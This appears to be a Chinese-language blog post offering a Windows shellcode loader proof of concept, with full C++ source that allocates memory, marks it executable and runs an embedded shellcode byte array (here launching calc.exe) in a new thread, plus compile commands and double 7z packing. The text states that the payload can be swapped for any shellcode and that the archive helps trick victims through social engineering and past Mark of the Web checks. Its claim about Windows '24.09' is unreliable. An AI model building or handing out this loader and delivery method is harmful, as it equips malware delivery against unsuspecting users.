Windows 渗透测试载荷加载器 POC 工具集

Windows Shellcode 加载器 PoC

一个用于 Windows 平台安全研究的 Shellcode 加载器概念验证实现,展示了内存分配、页面权限修改、线程创建等核心技术,并提供了完整的编译和打包流程。

功能特性

  • Shellcode 执行 :使用 VirtualAlloc 分配可读写内存,RtlMoveMemory 复制载荷,VirtualProtect 修改为可执行权限
  • 线程注入技术 :通过 CreateThread 创建新线程执行载荷,并使用 WaitForSingleObject 等待执行完成
  • 绕过 MotW 机制:利用 Windows 24.09 版本之前缺乏 MotW(Mark of the Web)机制的漏洞,通过压缩文件诱导用户执行
  • MinGW-w64 编译支持:提供完整的跨平台编译命令,支持生成静态链接的 Windows 可执行文件
  • 载荷体积优化:编译后通过 7z 进行两次压缩,减小文件体积便于传播测试

安装指南

系统要求

  • Windows 操作系统(目标执行环境)
  • Linux/macOS/Windows(编译环境)
  • MinGW-w64 工具链(交叉编译)
  • 7-Zip 压缩工具

编译环境配置(以 Linux 为例)

bash 复制代码
# 安装 MinGW-w64
sudo apt-get install mingw-w64

# 安装 7-Zip
sudo apt-get install p7zip-full

编译步骤

bash 复制代码
# 使用 MinGW-w64 编译 C++ 代码
x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s -static

# 对生成的 exe 进行两次 7z 压缩(减小体积)
7z a loader.7z loader.exe
7z a loader_final.7z loader.7z

使用说明

代码结构解析

cpp 复制代码
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

核心执行流程

  1. 内存分配VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) 在进程虚拟地址空间中分配可读写内存区域
  2. 载荷写入RtlMoveMemory(payload_mem, p, len) 将 Shellcode 字节数组复制到分配的内存中
  3. 权限提升VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect) 将内存页权限修改为可执行可读
  4. 线程创建CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_mem, 0, 0, 0) 创建新线程从载荷入口点执行
  5. 等待完成WaitForSingleObject(th, -1) 等待线程执行结束

Shellcode 说明

代码中包含的 Shellcode 执行了以下操作:

  • 调用 WinExec 函数启动 calc.exe(计算器程序)
  • 作为 PoC 演示,实际攻击场景可替换为任意 Shellcode

载荷替换方法

cpp 复制代码
unsigned char p[] = {
    // 在此处替换为自定义 Shellcode 字节数组
    0xFC, 0x48, 0x83, 0xE4, ...
};
unsigned int len = sizeof(p);

核心代码

Shellcode 加载器主程序

cpp 复制代码
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main() {
    DWORD oldprotect = 0;
 
    // 定义 Shellcode 载荷(calc.exe 启动代码)
    unsigned char p[] = {
        0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
        0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
        0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
        0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
        0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
        0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
        0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
        0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
        0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
        0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
        0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
        0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
        0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
        0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
        0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E,
        0x65, 0x78, 0x65, 0x00
    };
 
    // 计算载荷长度
    unsigned int len = sizeof(p);
 
    // 步骤1:分配可读写内存
    void *payload_mem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    // 步骤2:将 Shellcode 复制到分配的内存
    RtlMoveMemory(payload_mem, p, len);
 
    // 步骤3:修改内存权限为可执行可读
    BOOL rv = VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect);
 
    // 步骤4:创建线程执行 Shellcode
    if (rv != 0) {
        HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }
 
    return 0;
}

编译与打包脚本

bash 复制代码
# 使用 MinGW-w64 进行交叉编译
# -s: 去除符号表,减小文件体积
# -static: 静态链接,避免依赖外部 DLL
x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s -static

# 两次 7z 压缩,进一步减小体积
# 由于该漏洞需要用户交互,压缩文件便于通过社交工程方式诱导执行
7z a loader.7z loader.exe
7z a loader_final.7z loader.7z

安全防护绕过说明

MotW(Mark of the Web)机制

  • Windows 从互联网下载的文件会添加 MotW 标记,触发 SmartScreen 和安全警告
  • 24.09 版本之前的 Windows 存在 MotW 机制缺失问题
  • 通过压缩文件(.7z)可以绕过部分安全检查,诱导受害者手动点击执行

技术演进

  • 该方法展示了社会工程学与系统漏洞结合的典型攻击路径
  • 适用于安全研究、渗透测试和漏洞验证场景
  • 建议企业和个人用户及时更新 Windows 系统以获取 MotW 保护 6HFtX5dABrKlqXeO5PUv/y22SIb5maZ+n90bpK6X8kVugWkbkn8hd4nwV4trE7U7
相关推荐
大树881 小时前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
通信小呆呆1 小时前
当算法有了“五感”:多模态数据融合如何向人体感官协同学习?
人工智能·学习·算法·机器学习·机器人
施小赞2 小时前
普通 RAG vs GraphRAG 核心对比
人工智能·ai
EAIReport2 小时前
RuoYi-AI 企业级AI开发平台实战详解
人工智能
HelloWorld__来都来了2 小时前
【每日学术速报】2026-06-15
人工智能·具身智能
H__Rick2 小时前
自动对焦学习-3
人工智能·学习·计算机视觉
SpaceAIGlobal2 小时前
AI 生成 PPT 工具深度评测与选型指南
人工智能·powerpoint
移动云开发者联盟2 小时前
移动云HaishanDB焕新出发!
人工智能